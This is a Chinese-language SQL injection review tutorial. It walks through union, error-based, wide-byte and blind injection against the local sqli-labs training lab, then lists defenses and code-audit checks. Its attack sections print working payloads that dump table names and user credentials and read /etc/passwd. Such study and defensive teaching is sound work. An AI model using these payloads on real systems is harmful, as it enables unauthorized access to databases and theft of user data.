sql注入总结复习
字数 3324 2025-08-10 17:51:54
SQL注入攻击全面解析与防御指南
一、Web三层架构基础
SQL注入攻击前必须理解的Web程序三层架构:
- 数据访问层(DAL):负责数据库的增删改查操作,将数据提交给业务层并保存业务层处理的数据
- 业务逻辑层(BLL):UI层和DAL层的桥梁,实现业务逻辑(验证、计算、业务规则等)
- 表现层(UI):用户交互界面,接收用户输入并显示处理后的数据
数据流示例:
- 用户访问www.boke.com
- 业务逻辑层加载解析index.php
- 建立DBMS连接并执行SQL语句
- 数据访问层返回结果给业务逻辑层
- Web服务器封装HTML发送给浏览器
- 浏览器解析显示给用户
二、SQL注入原理
当Web服务器向数据访问层发起SQL请求,且这些SQL语句需要结合用户输入构造时,如果用户构造恶意语句且服务器过滤不严,就会发生SQL注入攻击。
三、联合注入(Union Injection)
原理
利用UNION操作符合并多个SELECT语句的结果集,要求:
- 每个SELECT必须有相同数量的列
- 列必须有相似数据类型
- 列顺序必须相同
- 只有前一条查询为假时才会执行后一条
攻击步骤示例(sql-labs第一关)
-
判断注入类型:
http://127.0.0.1/sqli/Less-1/?id=1'→ 报错http://127.0.0.1/sqli/Less-1/?id=1' --+→ 报错消失 → 字符型注入(单引号闭合)
-
判断列数:
http://127.0.0.1/sqli/Less-1/?id=1' order by 3--+→ 正常http://127.0.0.1/sqli/Less-1/?id=1' order by 4--+→ 报错 → 共3列
-
查看显示位:
http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,2,3 --+
-
爆破数据库:
http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,database(),3 --+
-
爆破表名:
http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema="security" --+
-
爆破列名:
http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name="users" --+
-
爆破字段:
http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,group_concat(username),group_concat(password) from users --+
四、报错注入(Error-based Injection)
定义
通过特殊函数错误使用使其输出错误结果来获取信息,利用MySQL输出错误获取数据库信息。
使用条件
错误信息必须输出(页面显示报错信息),如print_r(mysql_error())
类型
- BIGINT数据溢出错误
- Xpath格式错误
- concat+rand()+group_by()导致主键重复
BIGINT数据溢出错误
原理
MySQL处理整型数据时,超过最大值会报错。使用按位取反运算~0或~0+1实现溢出。
版本要求:MySQL > 5.5.5才会报错
exp函数利用
exp(X)返回e的X次幂值
Payload示例:
- 获取表名:
and exp(~(select * from (select table_name from information_schema.tables where table_schema=database() limit 0,1)a)) - 获取列名:
and exp(~(select * from (select column_name from information_schema.columns where table_name='users' limit 0,1)a)) - 读取文件:
and exp(~(select * from (select load_file('/etc/passwd'))a))
注意:MySQL报错信息长度限制(512字节),需使用limit逐个爆破
Xpath报错注入
原理
利用extractvalue和updatexml函数,当XPath_string格式非法(如包含~)时报错并返回非法内容
示例:
select extractvalue('1',concat('~',(select database())));
攻击步骤(sql-labs第五关)
- 判断列数:
http://127.0.0.1/sqli/Less-5/?id=1' order by 3--+ - 尝试联合注入无回显,转报错注入
- 爆破数据库:
http://127.0.0.1/sqli/Less-5/?id=-1' and extractvalue('1',concat('~',(select table_name from information_schema.tables where table_schema=database() limit 0,1))) --+ - 爆破列名:
http://127.0.0.1/sqli/Less-5/?id=-1' and extractvalue('1',concat('~',(select column_name from information_schema.columns where table_name='users' limit 0,1 ))) --+
五、宽字节注入
基础知识
- 窄字节:1字节/字符
- 宽字节:2字节/字符(如GB2312、GBK、GB18030、BIG5、Shift_JIS编码)
- 英文:1字节
- 汉字:2字节
原理
MySQL使用GBK编码时,前一个ASCII值>128则认为两字符是一个汉字。利用addslashes()转义单引号为\'(\=0x5c),配合%df(ASCII>128)形成%df%5c=汉字"運",使单引号逃逸。
攻击示例(sql-labs 32关)
- 尝试单引号:
http://127.0.0.1/sqli/Less-32/?id=1'→ 被转义为\' - 宽字节注入:
http://127.0.0.1/sqli/Less-32/?id=1%df'→%df%5c=運,单引号逃逸成功
六、盲注(Blind Injection)
布尔盲注
通过页面返回的真/假状态推断信息
常见技术:
length()判断长度substr()逐字符猜测ascii()获取字符ASCII码if()条件判断sleep()时间延迟判断
七、防御措施
- 参数化查询/预编译语句:使用PDO或mysqli的prepare语句
- 输入验证:白名单验证输入格式
- 最小权限原则:数据库账户仅授予必要权限
- 错误处理:禁用详细错误信息显示
- 编码转换:统一字符编码(如UTF-8)
- WAF:部署Web应用防火墙
- 框架安全:使用ORM框架避免直接SQL拼接
八、源码审计要点
- 查找直接拼接用户输入的SQL语句
- 检查转义函数使用情况(
addslashes、mysql_real_escape_string等) - 验证字符编码设置
- 检查错误信息显示配置
- 确认数据库连接权限
通过全面理解这些SQL注入技术和防御措施,可以有效提升Web应用安全性,防止数据泄露风险。